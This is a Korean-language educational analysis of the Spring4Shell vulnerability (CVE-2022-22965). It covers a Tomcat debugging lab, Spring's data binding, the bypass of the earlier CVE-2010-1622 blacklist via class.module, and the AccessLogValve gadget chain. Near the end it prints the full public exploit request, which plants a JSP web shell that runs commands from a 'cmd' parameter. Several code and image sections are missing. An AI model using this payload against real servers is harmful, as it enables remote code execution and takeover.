
환경 설정, 디버그 과정별 설명, 익스플로잇 체인 분석을 포함한 CVE-2022-22965 (Spring4Shell)의 심층 기술 분석 (교육용 실습 목적).
Spring4Shell은 Spring Framework의 Spring Core에 존재하는 CVE의 이름입니다.
CVSS 3.x 점수 9.8로, 이 취약점은 최고 위험 수준(critical)으로 분류됩니다. 이 취약점은 공격자가 원격 코드 실행을 수행하고 취약한 서버를 제어할 수 있게 합니다.
인터넷상의 Spring Core의 보편성과 Spring4Shell의 심각한 영향 수준을 고려할 때, 이 취약점은 전문가들에 의해 Log4shell에 못지않은 영향력을 가진 것으로 평가됩니다.
Spring4Shell은 인터넷상의 모든 Spring Framework 기반 웹 애플리케이션에 영향을 미치는 것이 아니라, 다음 조건을 만족하는 웹 애플리케이션에만 영향을 미칩니다.
제가 설정한 환경은 다음과 같습니다.
Apache Tomcat 설치
위에서 언급했듯이, 저는 Kali 2021.4a와 Apache Tomcat 9.0.45를 사용합니다. Apache Tomcat 설치 방법을 모르고 Kali Linux에 설치하려면 이 링크를 참조하세요.
참고: 링크 https://mirror.kiu.ac.ug/apache/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz 대신 https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.45/bin/apache-tomcat-9.0.45.tar.gz를 사용하세요.
IDE 선택
프로젝트를 코딩하고 .war 파일로 패키징하며, 가장 중요한 디버깅을 위해 IDE가 필요합니다. 저는 Intellij를 사용합니다. Eclipse나 Netbeans 등 Java를 지원하는 IDE라면 무엇이든 사용 가능합니다.
취약점이 포함된 간단한 프로젝트 생성
제 프로젝트는 매우 간단하며, 다음으로 구성됩니다.
모델 HelloWorld.java

컨트롤러 HelloWorldController.java

뷰 hello.jsp

.war 파일 빌드
프로젝트를 패키징하려면 다음을 수행합니다: Build -> Build Artifacts -> helloworld:war -> Build.
빌드 프로세스가 성공적으로 완료될 때까지 기다립니다. 그러면 프로젝트에 out 폴더가 추가로 생성되며, ./out/artifacts/your_war_name/ 폴더에 your_war_name.war 파일이 있습니다. 이 .war 파일이 컴파일 및 패키징된 웹 프로젝트로, Apache Tomcat과 같은 Java Servlet에 배포하는 데 사용할 수 있습니다.
Build Artifacts가 비활성화되어 있으면(빌드할 수 없는 경우) 이 프로젝트에 대해 Build Artifacts가 설정되지 않은 것입니다. 다음을 수행하세요: File -> Project Structure -> Artifacts -> 현재 모든 아티팩트 삭제 -> Add(+) -> Web Application: Exploded -> From Modules... -> OK (Exploded 생성 완료) -> Add(+) -> Web Application: Archive -> For 'helloworld:war exploded' -> OK. 그런 다음 Build Artifacts를 다시 수행합니다.
배포 및 디버그 설정
배포
.war 파일을 Apache Tomcat에 배포하려면 .war 파일을 Apache Tomcat 디렉토리 내의 /webapps 폴더에 복사하기만 하면 됩니다(예: 저의 경우 helloworld.war 파일(이름을 간단히 변경)을 /opt/tomcat/apache-tomcat-9.0.45/webapps/에 복사). 그런 다음 두 가지 방법으로 Tomcat 서버를 시작합니다(Linux 기준).
배포가 완료된 후, http://localhost:8080/helloworld에 접속합니다.
디버그 설정
Tomcat의 원격 디버그를 설정하려면 다음을 수행합니다.
서버 측:
catalina.sh 파일을 열고 JPDA_ADDRESS 매개변수의 localhost 값을 가상 머신 IP로 변경합니다.

다음 명령으로 Tomcat 서버를 다시 시작합니다: /opt/tomcat/apache-tomcat-9.0.45/bin/catalina.sh jpda start. 이제 HTTP Server용 8080 포트 외에도 Tomcat이 8000 포트를 추가로 열어 디버그 연결을 허용합니다.
참고: 이 디버그 부분은 Windows 10에서 Intellij를 실행하고 Kali 가상 머신에서 Tomcat을 실행하는 경우이므로 JPDA_ADDRESS를 변경해야 합니다. Intellij와 Tomcat을 동일한 기계에서 실행하는 경우 변경할 필요가 없습니다.
Intellij 측:
Run -> Edit Configurations... -> Add(+) -> Remote JVM Debug
이름 설정 -> Host와 Port를 catalina.sh 파일에서 수정한 IP와 포트로 변경 -> OK -> Shift + F9 (디버그 시작)

먼저 디버깅에 사용 중인 프로젝트를 분석하겠습니다. 위에서 언급했듯이 이 프로젝트는 단순히 다음으로 구성됩니다.
예를 들어 보겠습니다.

애플리케이션은 Post 요청의 params에서 정보를 가져와 helloWorld{“person”:”Leo”, “message”:”Hi there”} 객체를 생성합니다. 이 helloWorld 객체는 helloPost 함수의 입력으로 사용됩니다. 애플리케이션은 위에서 설명한 대로 작업을 수행하여 사용자에게 해당 응답을 반환합니다.
Post 요청 본문의 parameters에서 helloWorld 객체로 변환하는 과정은 전적으로 Spring에 의해 자동으로 수행됩니다. 그렇다면 Spring은 어떻게 이를 수행하며, 입력되는 parameters를 검증할까요?
이 이미지는 디버깅 과정에서 캡처되었으며, 예시는 "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" 본문으로 요청을 수행한 것입니다. (왼쪽(스택 트레이스)을 (1), 오른쪽을 (2)라고 하겠습니다.)

(1)에서 강조 표시된 부분을 살펴보면(아래에서 위로 올라가며), Spring은 Post 요청의 params에서 helloWorld 객체에 대해 applyPropertyValue를 수행합니다. 그리고 params가 단순히 person=Leo&message=Hi%20space와 같다면 Spring은 키워드 'person'이 helloWorld.person에, 'message'가 helloWorld.message에 해당함을 찾을 수 있습니다.
그러나 Spring은 HTTP 요청을 통해 객체를 전송하는 것도 허용합니다(객체를 HTTP로 보낸다고 말하는 것은 다소 과장되지만, 대략적으로 그렇게 이해할 수 있습니다). 제 person 속성이 더 이상 문자열이 아니라 Person 객체이고, Person 객체가 name(string)과 age(int) 두 하위 속성을 포함한다고 가정해 보겠습니다. 그러면 이 Person 객체에 대한 정보를 서버로 보내려면 "person.name=Leo&person.age=23"과 같이 보내야 합니다.
따라서 params의 형식은 A=X가 아니라 A.B.C.D… = X가 됩니다. A.B.C.D… = X 형식을 처리하기 위해, 예를 들어 A.B.C = X와 같은 param이 있다면 Spring은 간단히 다음과 같이 작업합니다: getA.getB.setC(X)로 변환합니다.
getA가 무엇인지 설명하지 않고, body 요청이 "person.name=Leo&person.age=23"인 경우를 예시로 들겠습니다. Spring은 helloWorld 객체에 person 속성과 getPerson 함수가 있는지 찾습니다. 있으면 Spring은 helloWorld.getPerson()을 호출하고, 이때 Spring은 Person 유형의 객체를 받습니다. 임시로 person1이라고 부르겠습니다. 그런 다음 Spring은 person1에 'name' 속성과 setName 함수가 있는지 확인합니다('name' 뒤에 '='가 있으므로). 있으면 Spring은 person1에 대해 setName(Leo)를 호출합니다.
person.age의 경우, Spring은 처음부터 person을 다시 찾지 않고 age로 바로 가지 않고 이전 객체(helloWorld와 person1)를 재사용합니다.
위 단계를 거치면 서버에는 helloWorld{person:{name:"Leo", age:23}} 객체가 있습니다(일단 message 속성은 무시).
그렇다면 Spring은 어떻게 각 객체의 속성을 찾을 수 있을까요? 예를 들어 helloWorld 객체의 'person' 속성 같은 것 말입니다.
(1)의 첫 부분에 CachedIntrospectionResults(beanClass) 함수가 있습니다. 이 함수는 beanClass의 속성을 나열합니다. (2)를 보면 beanClass가 model.HelloWorld일 때 세 가지 속성이 있습니다. 제가 만든 HelloWorld 모델에는 'person'과 'message' 두 속성만 있는데, 이 함수가 'class' 속성을 추가로 반환했습니다. 'class' 행을 확장하면 propertytype이 'java.lang.class'임을 알 수 있습니다.
따라서 java.lang.class 유형의 class 객체에 접근할 수 있습니다. 이것이 바로 Spring4Shell의 근원(source)입니다.
위 source와 관련하여, 이 source와 관련된 CVE-2010-1622가 이미 있었습니다. CVE-2010-1622의 저자는 class.classLoader.URLs[0] = X 페이로드를 사용하여 이 source를 악용했습니다.
java.lang.class에는 getClassLoader() 함수가 있어 ClassLoader 객체를 반환하고, 이 ClassLoader는 Tomcat의 URLs 배열(리소스를 로드하는 데 사용)에 접근할 수 있기 때문입니다. URLs에 접근할 수 있게 되면 공격자는 URLs[0] 값을 악성 Jar 파일(공격자가 제어)에 대한 원격 URL로 변경할 수 있습니다.
이 취약점을 해결하기 위해 Spring은 CachedIntrospectionResults(beanClass) 함수에서 필터(블랙리스트)를 구현했습니다.

'beanClass' == Class.class(java.lang.class)인 경우 pd는 'classLoader'와 'protectionDomain'과 달라야 합니다. 그리고 CachedIntrospectionResults가 java.lang.class의 모든 속성을 로드한 후 두 속성 'classLoader'와 'protectionDomain'이 없는 것이 증거입니다.

그러나 JDK 9부터 Class.class에 'module' 속성이 추가되었고, Class.module에는 classLoader 속성이 있습니다.

→ 따라서 JDK 9 이상을 사용하면 Spring의 블랙리스트를 우회할 수 있습니다!!!
Spring4Shell 취약점의 공개 PoC에 따르면 사용된 페이로드는 다음과 같은 형식입니다.
class.module.classloader.resources.context.parent.pipeline.first ⇔ Class.getModule().getClassLoader().getResources().getContext().getParent().getPipeline().getFirst()
디버깅을 통해 다음 gadget chain을 확인할 수 있습니다.
java.lang.class.getModule() -> java.lang.module.getClassLoader() -> org.apache.catalina.loader.ParallelWebappClassLoader.getResources() -> org.apache.catalina.webresources.StandardRoot.getContext() -> org.apache.catalina.core.StandardContext.getParent() -> org.apache.catalina.core.StandardHost.getPipeline() -> org.apache.catalina.core.StandardPipeline.getFirst() -> org.apache.catalina.valves.AccessLogValue.
AccessLogValue 클래스에는 다음과 같은 속성이 있습니다.

AccessLogValue 객체를 호출할 수 있으며, 이 AccessLogValue는 Tomcat의 로그 기록에 영향을 미칩니다.
→ Tomcat 서버에서 AccessLogValue 객체의 속성을 설정하여 서버에 파일을 생성할 수 있습니다. 이를 위해 PoC에서는 Prefix, Suffix, Pattern, Directory 및 fileDateFormat 속성을 설정했습니다. 페이로드 요청은 다음과 같습니다.
"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
중단점 목록
디버깅 과정을 더 쉽게 하기 위해 다음 지점에 중단점을 설정할 수 있습니다.

이 분석에는 원래 결론 부분이 없습니다. 이 부분은 그냥 넣어두기 위해 추가한 것입니다!!!
해결 방법을 찾고 있다면 여기 있습니다.